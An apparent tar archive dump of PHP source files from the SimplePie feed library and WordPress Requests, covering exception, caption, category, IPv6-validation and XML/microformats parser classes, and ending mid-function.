    public static function silence_errors(int $num, string $str)
    {
        // No-op
        return true;
    }

    /**
     * Sanitize a URL by removing HTTP credentials.
     * @param string $url the URL to sanitize.
     * @return string the same URL without HTTP credentials.
     */
    public static function url_remove_credentials(string $url)
    {
        // Cast for PHPStan: I do not think this can fail.
        // The regex is valid and there should be no backtracking.
        // https://github.com/phpstan/phpstan/issues/11547
        return (string) preg_replace('#^(https?://)[^/:@]+:[^/:@]+@#i', '$1', $url);
    }
}

class_alias('SimplePie\Misc', 'SimplePie_Misc', false);
Exception.php000064400000002132151450001630007204 0ustar00<?php
/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests;

use Exception as PHPException;

/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */
class Exception extends PHPException {
	/**
	 * Type of exception
	 *
	 * @var string
	 */
	protected $type;

	/**
	 * Data associated with the exception
	 *
	 * @var mixed
	 */
	protected $data;

	/**
	 * Create a new exception
	 *
	 * @param string $message Exception message
	 * @param string $type Exception type
	 * @param mixed $data Associated data
	 * @param integer $code Exception numerical code, if applicable
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		parent::__construct($message, $code);

		$this->type = $type;
		$this->data = $data;
	}

	/**
	 * Like {@see \Exception::getCode()}, but a string code.
	 *
	 * @codeCoverageIgnore
	 * @return string
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * Gives any relevant data
	 *
	 * @codeCoverageIgnore
	 * @return mixed
	 */
	public function getData() {
		return $this->data;
	}
}
Caption.php000064400000006033151450001630006647 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:text>` captions as defined in Media RSS.
 *
 * Used by {@see \SimplePie\Enclosure::get_caption()} and {@see \SimplePie\Enclosure::get_captions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_caption_class()}
 */
class Caption
{
    /**
     * Content type
     *
     * @var ?string
     * @see get_type()
     */
    public $type;

    /**
     * Language
     *
     * @var ?string
     * @see get_language()
     */
    public $lang;

    /**
     * Start time
     *
     * @var ?string
     * @see get_starttime()
     */
    public $startTime;

    /**
     * End time
     *
     * @var ?string
     * @see get_endtime()
     */
    public $endTime;

    /**
     * Caption text
     *
     * @var ?string
     * @see get_text()
     */
    public $text;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $type = null,
        ?string $lang = null,
        ?string $startTime = null,
        ?string $endTime = null,
        ?string $text = null
    ) {
        $this->type = $type;
        $this->lang = $lang;
        $this->startTime = $startTime;
        $this->endTime = $endTime;
        $this->text = $text;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the end time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_endtime()
    {
        if ($this->endTime !== null) {
            return $this->endTime;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get the start time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_starttime()
    {
        if ($this->startTime !== null) {
            return $this->startTime;
        }

        return null;
    }

    /**
     * Get the text of the caption
     *
     * @return string|null
     */
    public function get_text()
    {
        if ($this->text !== null) {
            return $this->text;
        }

        return null;
    }

    /**
     * Get the content type (not MIME type)
     *
     * @return string|null Either 'text' or 'html'
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }
}

class_alias('SimplePie\Caption', 'SimplePie_Caption');
Category.php000064400000004650151450001630007032 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages all category-related data
 *
 * Used by {@see \SimplePie\Item::get_category()} and {@see \SimplePie\Item::get_categories()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_category_class()}
 */
class Category
{
    /**
     * Category identifier
     *
     * @var string|null
     * @see get_term
     */
    public $term;

    /**
     * Categorization scheme identifier
     *
     * @var string|null
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Human readable label
     *
     * @var string|null
     * @see get_label()
     */
    public $label;

    /**
     * Category type
     *
     * category for <category>
     * subject for <dc:subject>
     *
     * @var string|null
     * @see get_type()
     */
    public $type;

    /**
     * Constructor, used to input the data
     *
     * @param string|null $term
     * @param string|null $scheme
     * @param string|null $label
     * @param string|null $type
     */
    public function __construct(?string $term = null, ?string $scheme = null, ?string $label = null, ?string $type = null)
    {
        $this->term = $term;
        $this->scheme = $scheme;
        $this->label = $label;
        $this->type = $type;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the category identifier
     *
     * @return string|null
     */
    public function get_term()
    {
        return $this->term;
    }

    /**
     * Get the categorization scheme identifier
     *
     * @return string|null
     */
    public function get_scheme()
    {
        return $this->scheme;
    }

    /**
     * Get the human readable label
     *
     * @param bool $strict
     * @return string|null
     */
    public function get_label(bool $strict = false)
    {
        if ($this->label === null && $strict !== true) {
            return $this->get_term();
        }
        return $this->label;
    }

    /**
     * Get the category type
     *
     * @return string|null
     */
    public function get_type()
    {
        return $this->type;
    }
}

class_alias('SimplePie\Category', 'SimplePie_Category');
Net/IPv6.php000064400000016324151450001630006570 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Net;

/**
 * Class to validate and to work with IPv6 addresses.
 *
 * @copyright 2003-2005 The PHP Group
 * @license http://www.opensource.org/licenses/bsd-license.php
 * @link http://pear.php.net/package/Net_IPv6
 * @author Alexander Merz <alexander.merz@web.de>
 * @author elfrink at introweb dot nl
 * @author Josh Peck <jmp at joshpeck dot org>
 * @author Sam Sneddon <geoffers@gmail.com>
 */
class IPv6
{
    /**
     * Uncompresses an IPv6 address
     *
     * RFC 4291 allows you to compress consecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and expands the '::' to
     * the required number of zero pieces.
     *
     * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
     *           ::1         ->  0:0:0:0:0:0:0:1
     *
     * @author Alexander Merz <alexander.merz@web.de>
     * @author elfrink at introweb dot nl
     * @author Josh Peck <jmp at joshpeck dot org>
     * @copyright 2003-2005 The PHP Group
     * @license http://www.opensource.org/licenses/bsd-license.php
     * @param string $ip An IPv6 address
     * @return string The uncompressed IPv6 address
     */
    public static function uncompress(string $ip)
    {
        $c1 = -1;
        $c2 = -1;
        if (substr_count($ip, '::') === 1) {
            [$ip1, $ip2] = explode('::', $ip);
            if ($ip1 === '') {
                $c1 = -1;
            } else {
                $c1 = substr_count($ip1, ':');
            }
            if ($ip2 === '') {
                $c2 = -1;
            } else {
                $c2 = substr_count($ip2, ':');
            }
            if (strpos($ip2, '.') !== false) {
                $c2++;
            }
            // ::
            if ($c1 === -1 && $c2 === -1) {
                $ip = '0:0:0:0:0:0:0:0';
            }
            // ::xxx
            elseif ($c1 === -1) {
                $fill = str_repeat('0:', 7 - $c2);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::
            elseif ($c2 === -1) {
                $fill = str_repeat(':0', 7 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::xxx
            else {
                $fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
        }
        return $ip;
    }

    /**
     * Compresses an IPv6 address
     *
     * RFC 4291 allows you to compress consecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and compresses consecutive
     * zero pieces to '::'.
     *
     * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
     *           0:0:0:0:0:0:0:1        ->  ::1
     *
     * @see uncompress()
     * @param string $ip An IPv6 address
     * @return string The compressed IPv6 address
     */
    public static function compress(string $ip)
    {
        // Prepare the IP to be compressed
        $ip = self::uncompress($ip);
        $ip_parts = self::split_v6_v4($ip);

        // Replace all leading zeros
        $ip_parts[0] = (string) preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

        // Find bunches of zeros
        if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
            $max = 0;
            $pos = null;
            foreach ($matches[0] as $match) {
                if (strlen($match[0]) > $max) {
                    $max = strlen($match[0]);
                    $pos = $match[1];
                }
            }

            assert($pos !== null, 'For PHPStan: Since the regex matched, there is at least one match. And because the pattern is non-empty, the loop will always end with $pos ≥ 1.');
            $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
        }

        if ($ip_parts[1] !== '') {
            return implode(':', $ip_parts);
        }

        return $ip_parts[0];
    }

    /**
     * Splits an IPv6 address into the IPv6 and IPv4 representation parts
     *
     * RFC 4291 allows you to represent the last two parts of an IPv6 address
     * using the standard IPv4 representation
     *
     * Example:  0:0:0:0:0:0:13.1.68.3
     *           0:0:0:0:0:FFFF:129.144.52.38
     *
     * @param string $ip An IPv6 address
     * @return array{string, string} [0] contains the IPv6 represented part, and [1] the IPv4 represented part
     */
    private static function split_v6_v4(string $ip): array
    {
        if (strpos($ip, '.') !== false) {
            $pos = strrpos($ip, ':');
            assert($pos !== false, 'For PHPStan: IPv6 address must contain colon, since split_v6_v4 is only ever called after uncompress.');
            $ipv6_part = substr($ip, 0, $pos);
            $ipv4_part = substr($ip, $pos + 1);
            return [$ipv6_part, $ipv4_part];
        }

        return [$ip, ''];
    }

    /**
     * Checks an IPv6 address
     *
     * Checks if the given IP is a valid IPv6 address
     *
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function check_ipv6(string $ip)
    {
        $ip = self::uncompress($ip);
        [$ipv6, $ipv4] = self::split_v6_v4($ip);
        $ipv6 = explode(':', $ipv6);
        $ipv4 = explode('.', $ipv4);
        if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
            foreach ($ipv6 as $ipv6_part) {
                // The section can't be empty
                if ($ipv6_part === '') {
                    return false;
                }

                // Nor can it be over four characters
                if (strlen($ipv6_part) > 4) {
                    return false;
                }

                // Remove leading zeros (this is safe because of the above)
                $ipv6_part = ltrim($ipv6_part, '0');
                if ($ipv6_part === '') {
                    $ipv6_part = '0';
                }

                // Check the value is valid
                $value = hexdec($ipv6_part);
                if ($value < 0 || $value > 0xFFFF) {
                    return false;
                }
                assert(is_int($value), 'For PHPStan: $value is only float when $ipv6_part > PHP_INT_MAX');
                if (dechex($value) !== strtolower($ipv6_part)) {
                    return false;
                }
            }
            if (count($ipv4) === 4) {
                foreach ($ipv4 as $ipv4_part) {
                    $value = (int) $ipv4_part;
                    if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
                        return false;
                    }
                }
            }
            return true;
        }

        return false;
    }

    /**
     * Checks if the given IP is a valid IPv6 address
     *
     * @codeCoverageIgnore
     * @deprecated Use {@see IPv6::check_ipv6()} instead
     * @see check_ipv6
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function checkIPv6(string $ip)
    {
        return self::check_ipv6($ip);
    }
}

class_alias('SimplePie\Net\IPv6', 'SimplePie_Net_IPv6');
Parser.php000064400000104064151450001630006511 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\XML\Declaration\Parser as DeclarationParser;
use XMLParser;

/**
 * Parses XML into something sane
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_parser_class()}
 */
class Parser implements RegistryAware
{
    /** @var int */
    public $error_code;
    /** @var string */
    public $error_string;
    /** @var int */
    public $current_line;
    /** @var int */
    public $current_column;
    /** @var int */
    public $current_byte;
    /** @var string */
    public $separator = ' ';
    /** @var string[] */
    public $namespace = [''];
    /** @var string[] */
    public $element = [''];
    /** @var string[] */
    public $xml_base = [''];
    /** @var bool[] */
    public $xml_base_explicit = [false];
    /** @var string[] */
    public $xml_lang = [''];
    /** @var array<string, mixed> */
    public $data = [];
    /** @var array<array<string, mixed>> */
    public $datas = [[]];
    /** @var int */
    public $current_xhtml_construct = -1;
    /** @var string */
    public $encoding;
    /** @var Registry */
    protected $registry;

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @return bool
     */
    public function parse(string &$data, string $encoding, string $url = '')
    {
        if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
            $doc = new \DOMDocument();
            @$doc->loadHTML($data);
            $xpath = new \DOMXpath($doc);
            // Check for both h-feed and h-entry, as both a feed with no entries
            // and a list of entries without an h-feed wrapper are both valid.
            $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                'contains(concat(" ", @class, " "), " h-entry ")]';
            /** @var \DOMNodeList<\DOMElement> $result */
            $result = $xpath->query($query);
            if ($result->length !== 0) {
                return $this->parse_microformats($data, $url);
            }
        }

        // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
        if (strtoupper($encoding) === 'US-ASCII') {
            $this->encoding = 'UTF-8';
        } else {
            $this->encoding = $encoding;
        }

        // Strip BOM:
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $data = substr($data, 4);
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $data = substr($data, 4);
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $data = substr($data, 2);
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $data = substr($data, 2);
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $data = substr($data, 3);
        }

        if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) {
            $declaration = $this->registry->create(DeclarationParser::class, [substr($data, 5, $pos - 5)]);
            if ($declaration->parse()) {
                $data = substr($data, $pos + 2);
                $data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . "\n" .
                    self::set_doctype($data);
            } else {
                $this->error_string = 'SimplePie bug! Please report this!';
                return false;
            }
        } else {
            $data = self::set_doctype($data);
        }

        $return = true;

        static $xml_is_sane = null;
        if ($xml_is_sane === null) {
            $parser_check = xml_parser_create();
            xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
            if (\PHP_VERSION_ID < 80000) {
                xml_parser_free($parser_check);
            }
            $xml_is_sane = isset($values[0]['value']);
        }

        // Create the parser
        if ($xml_is_sane) {
            $xml = xml_parser_create_ns($this->encoding, $this->separator);
            xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
            xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
            xml_set_character_data_handler($xml, [$this, 'cdata']);
            xml_set_element_handler($xml, [$this, 'tag_open'], [$this, 'tag_close']);

            // Parse!
            $wrapper = @is_writable(sys_get_temp_dir()) ? 'php://temp' : 'php://memory';
            if (($stream = fopen($wrapper, 'r+')) &&
                fwrite($stream, $data) &&
                rewind($stream)) {
                //Parse by chunks not to use too much memory
                do {
                    $stream_data = (string) fread($stream, 1048576);

                    if (!xml_parse($xml, $stream_data, feof($stream))) {
                        $this->error_code = xml_get_error_code($xml);
                        $this->error_string = xml_error_string($this->error_code) ?: "Unknown";
                        $return = false;
                        break;
                    }
                } while (!feof($stream));
                fclose($stream);
            } else {
                $return = false;
            }

            $this->current_line = xml_get_current_line_number($xml);
            $this->current_column = xml_get_current_column_number($xml);
            $this->current_byte = xml_get_current_byte_index($xml);
            if (\PHP_VERSION_ID < 80000) {
                xml_parser_free($xml);
            }
            return $return;
        }

        libxml_clear_errors();
        $xml = new \XMLReader();
        $xml->xml($data);
        while (@$xml->read()) {
            switch ($xml->nodeType) {
                case \XMLReader::END_ELEMENT:
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $this->tag_close(null, $tagName);
                    break;
                case \XMLReader::ELEMENT:
                    $empty = $xml->isEmptyElement;
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $attributes = [];
                    while ($xml->moveToNextAttribute()) {
                        if ($xml->namespaceURI !== '') {
                            $attrName = $xml->namespaceURI . $this->separator . $xml->localName;
                        } else {
                            $attrName = $xml->localName;
                        }
                        $attributes[$attrName] = $xml->value;
                    }
                    $this->tag_open(null, $tagName, $attributes);
                    if ($empty) {
                        $this->tag_close(null, $tagName);
                    }
                    break;
                case \XMLReader::TEXT:

                case \XMLReader::CDATA:
                    $this->cdata(null, $xml->value);
                    break;
            }
        }
        if ($error = libxml_get_last_error()) {
            $this->error_code = $error->code;
            $this->error_string = $error->message;
            $this->current_line = $error->line;
            $this->current_column = $error->column;
            return false;
        }

        return true;
    }

    /**
     * @return int
     */
    public function get_error_code()
    {
        return $this->error_code;
    }

    /**
     * @return string
     */
    public function get_error_string()
    {
        return $this->error_string;
    }

    /**
     * @return int
     */
    public function get_current_line()
    {
        return $this->current_line;
    }

    /**
     * @return int
     */
    public function get_current_column()
    {
        return $this->current_column;
    }

    /**
     * @return int
     */
    public function get_current_byte()
    {
        return $this->current_byte;
    }

    /**
     * @return array<string, mixed>
     */
    public function get_data()
    {
        return $this->data;
    }

    /**
     * @param XMLParser|resource|null $parser
     * @param array<string, string> $attributes
     * @return void
     */
    public function tag_open($parser, string $tag, array $attributes)
    {
        [$this->namespace[], $this->element[]] = $this->split_ns($tag);

        $attribs = [];
        foreach ($attributes as $name => $value) {
            [$attrib_namespace, $attribute] = $this->split_ns($name);
            $attribs[$attrib_namespace][$attribute] = $value;
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'])) {
            $base = $this->registry->call(Misc::class, 'absolutize_url', [$attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'], end($this->xml_base)]);
            if ($base !== false) {
                $this->xml_base[] = $base;
                $this->xml_base_explicit[] = true;
            }
        } else {
            $this->xml_base[] = end($this->xml_base) ?: '';
            $this->xml_base_explicit[] = end($this->xml_base_explicit);
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'])) {
            $this->xml_lang[] = $attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'];
        } else {
            $this->xml_lang[] = end($this->xml_lang) ?: '';
        }

        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct++;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML) {
                $this->data['data'] .= '<' . end($this->element);
                if (isset($attribs[''])) {
                    foreach ($attribs[''] as $name => $value) {
                        $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
                    }
                }
                $this->data['data'] .= '>';
            }
        } else {
            $this->datas[] = &$this->data;
            $this->data = &$this->data['child'][end($this->namespace)][end($this->element)][];
            $this->data = ['data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)];
            if ((end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_03 && in_array(end($this->element), ['title', 'tagline', 'copyright', 'info', 'summary', 'content']) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_10 && in_array(end($this->element), ['rights', 'subtitle', 'summary', 'info', 'title', 'content']) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_20 && in_array(end($this->element), ['title']))
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_090 && in_array(end($this->element), ['title']))
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_10 && in_array(end($this->element), ['title']))) {
                $this->current_xhtml_construct = 0;
            }
        }
    }

    /**
     * @param XMLParser|resource|null $parser
     * @return void
     */
    public function cdata($parser, string $cdata)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
        } else {
            $this->data['data'] .= $cdata;
        }
    }

    /**
     * @param XMLParser|resource|null $parser
     * @return void
     */
    public function tag_close($parser, string $tag)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct--;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML && !in_array(end($this->element), ['area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'])) {
                $this->data['data'] .= '</' . end($this->element) . '>';
            }
        }
        if ($this->current_xhtml_construct === -1) {
            $this->data = &$this->datas[count($this->datas) - 1];
            array_pop($this->datas);
        }

        array_pop($this->element);
        array_pop($this->namespace);
        array_pop($this->xml_base);
        array_pop($this->xml_base_explicit);
        array_pop($this->xml_lang);
    }

    /**
     * @return array{string, string}
     */
    public function split_ns(string $string)
    {
        static $cache = [];
        if (!isset($cache[$string])) {
            if ($pos = strpos($string, $this->separator)) {
                static $separator_length;
                if (!$separator_length) {
                    $separator_length = strlen($this->separator);
                }
                $namespace = substr($string, 0, $pos);
                $local_name = substr($string, $pos + $separator_length);
                if (strtolower($namespace) === \SimplePie\SimplePie::NAMESPACE_ITUNES) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_ITUNES;
                }

                // Normalize the Media RSS namespaces
                if ($namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_MEDIARSS;
                }
                $cache[$string] = [$namespace, $local_name];
            } else {
                $cache[$string] = ['', $string];
            }
        }
        return $cache[$string];
    }

    /**
     * @param array<string, mixed> $data
     */
    private function parse_hcard(array $data, bool $category = false): string
    {
        $name = '';
        $link = '';
        // Check if h-card is set and pass that information on in the link.
        if (isset($data['type']) && in_array('h-card', $data['type'])) {
            if (isset($data['properties']['name'][0])) {
                $name = $data['properties']['name'][0];
            }
            if (isset($data['properties']['url'][0])) {
                $link = $data['properties']['url'][0];
                if ($name === '') {
                    $name = $link;
                } else {
                    // can't have commas in categories.
                    $name = str_replace(',', '', $name);
                }
                $person_tag = $category ? '<span class="person-tag"></span>' : '';
                return '<a class="h-card" href="'.$link.'">'.$person_tag.$name.'</a>';
            }
        }
        return $data['value'] ?? '';
    }

    /**
     * @return true
     */
    private function parse_microformats(string &$data, string $url): bool
    {
        // For PHPStan, we already check that in call site.
        \assert(function_exists('Mf2\parse'));
        \assert(function_exists('Mf2\fetch'));
        $feed_title = '';
        $feed_author = null;
        $author_cache = [];
        $items = [];
        $entries = [];
        $mf = \Mf2\parse($data, $url);
        // First look for an h-feed.
        $h_feed = [];
        foreach ($mf['items'] as $mf_item) {
            if (in_array('h-feed', $mf_item['type'])) {
                $h_feed = $mf_item;
                break;
            }
            // Also look for h-feed or h-entry in the children of each top level item.
            if (!isset($mf_item['children'][0]['type'])) {
                continue;
            }
            if (in_array('h-feed', $mf_item['children'][0]['type'])) {
                $h_feed = $mf_item['children'][0];
                // In this case the parent of the h-feed may be an h-card, so use it as
                // the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            } elseif (in_array('h-entry', $mf_item['children'][0]['type'])) {
                $entries = $mf_item['children'];
                // In this case the parent of the h-entry list may be an h-card, so use
                // it as the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            }
        }
        if (isset($h_feed['children'])) {
            $entries = $h_feed['children'];
            // Also set the feed title and store author from the h-feed if available.
            if (isset($mf['items'][0]['properties']['name'][0])) {
                $feed_title = $mf['items'][0]['properties']['name'][0];
            }
            if (isset($mf['items'][0]['properties']['author'][0])) {
                $feed_author = $mf['items'][0]['properties']['author'][0];
            }
        } elseif (count($entries) === 0) {
            $entries = $mf['items'];
        }
        for ($i = 0; $i < count($entries); $i++) {
            $entry = $entries[$i];
            if (in_array('h-entry', $entry['type'])) {
                $item = [];
                $title = '';
                $description = '';
                if (isset($entry['properties']['url'][0])) {
                    $link = $entry['properties']['url'][0];
                    if (isset($link['value'])) {
                        $link = $link['value'];
                    }
                    $item['link'] = [['data' => $link]];
                }
                if (isset($entry['properties']['uid'][0])) {
                    $guid = $entry['properties']['uid'][0];
                    if (isset($guid['value'])) {
                        $guid = $guid['value'];
                    }
                    $item['guid'] = [['data' => $guid]];
                }
                if (isset($entry['properties']['name'][0])) {
                    $title = $entry['properties']['name'][0];
                    if (isset($title['value'])) {
                        $title = $title['value'];
                    }
                    $item['title'] = [['data' => $title]];
                }
                if (isset($entry['properties']['author'][0]) || isset($feed_author)) {
                    // author is a special case, it can be plain text or an h-card array.
                    // If it's plain text it can also be a url that should be followed to
                    // get the actual h-card.
                    $author = $entry['properties']['author'][0] ?? $feed_author;
                    if (!is_string($author)) {
                        $author = $this->parse_hcard($author);
                    } elseif (strpos($author, 'http') === 0) {
                        if (isset($author_cache[$author])) {
                            $author = $author_cache[$author];
                        } else {
                            if ($mf = \Mf2\fetch($author)) {
                                foreach ($mf['items'] as $hcard) {
                                    // Only interested in an h-card by itself in this case.
                                    if (!in_array('h-card', $hcard['type'])) {
                                        continue;
                                    }
                                    // It must have a url property matching what we fetched.
                                    if (!isset($hcard['properties']['url']) ||
                                            !(in_array($author, $hcard['properties']['url']))) {
                                        continue;
                                    }
                                    // Save parse_hcard the trouble of finding the correct url.
                                    $hcard['properties']['url'][0] = $author;
                                    // Cache this h-card for the next h-entry to check.
                                    $author_cache[$author] = $this->parse_hcard($hcard);
                                    $author = $author_cache[$author];
                                    break;
                                }
                            }
                        }
                    }
                    $item['author'] = [['data' => $author]];
                }
                if (isset($entry['properties']['photo'][0])) {
                    // If a photo is also in content, don't need to add it again here.
                    $content = '';
                    if (isset($entry['properties']['content'][0]['html'])) {
                        $content = $entry['properties']['content'][0]['html'];
                    }
                    $photo_list = [];
                    for ($j = 0; $j < count($entry['properties']['photo']); $j++) {
                        $photo = $entry['properties']['photo'][$j];
                        if (!empty($photo) && strpos($content, $photo) === false) {
                            $photo_list[] = $photo;
                        }
                    }
                    // When there's more than one photo show the first and use a lightbox.
                    // Need a permanent, unique name for the image set, but don't have
                    // anything unique except for the content itself, so use that.
                    $count = count($photo_list);
                    if ($count > 1) {
                        $image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]);
                        $description = '<p>';
                        for ($j = 0; $j < $count; $j++) {
                            $hidden = $j === 0 ? '' : 'class="hidden" ';
                            $description .= '<a href="'.$photo_list[$j].'" '.$hidden.
                                'data-lightbox="image-set-'.$image_set_id.'">'.
                                '<img src="'.$photo_list[$j].'"></a>';
                        }
                        $description .= '<br><b>'.$count.' photos</b></p>';
                    } elseif ($count == 1) {
                        $description = '<p><img src="'.$photo_list[0].'"></p>';
                    }
                }
                if (isset($entry['properties']['content'][0]['html'])) {
                    // e-content['value'] is the same as p-name when they are on the same
                    // element. Use this to replace title with a strip_tags version so
                    // that alt text from images is not included in the title.
                    if ($entry['properties']['content'][0]['value'] === $title) {
                        $title = strip_tags($entry['properties']['content'][0]['html']);
                        $item['title'] = [['data' => $title]];
                    }
                    $description .= $entry['properties']['content'][0]['html'];
                    if (isset($entry['properties']['in-reply-to'][0])) {
                        $in_reply_to = '';
                        if (is_string($entry['properties']['in-reply-to'][0])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0];
                        } elseif (isset($entry['properties']['in-reply-to'][0]['value'])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0]['value'];
                        }
                        if ($in_reply_to !== '') {
                            $description .= '<p><span class="in-reply-to"></span> '.
                                '<a href="'.$in_reply_to.'">'.$in_reply_to.'</a><p>';
                        }
                    }
                    $item['description'] = [['data' => $description]];
                }
                if (isset($entry['properties']['category'])) {
                    $category_csv = '';
                    // Categories can also contain h-cards.
                    foreach ($entry['properties']['category'] as $category) {
                        if ($category_csv !== '') {
                            $category_csv .= ', ';
                        }
                        if (is_string($category)) {
                            // Can't have commas in categories.
                            $category_csv .= str_replace(',', '', $category);
                        } else {
                            $category_csv .= $this->parse_hcard($category, true);
                        }
                    }
                    $item['category'] = [['data' => $category_csv]];
                }
                if (isset($entry['properties']['published'][0])) {
                    $timestamp = strtotime($entry['properties']['published'][0]);
                    $pub_date = date('F j Y g:ia', $timestamp).' GMT';
                    $item['pubDate'] = [['data' => $pub_date]];
                }
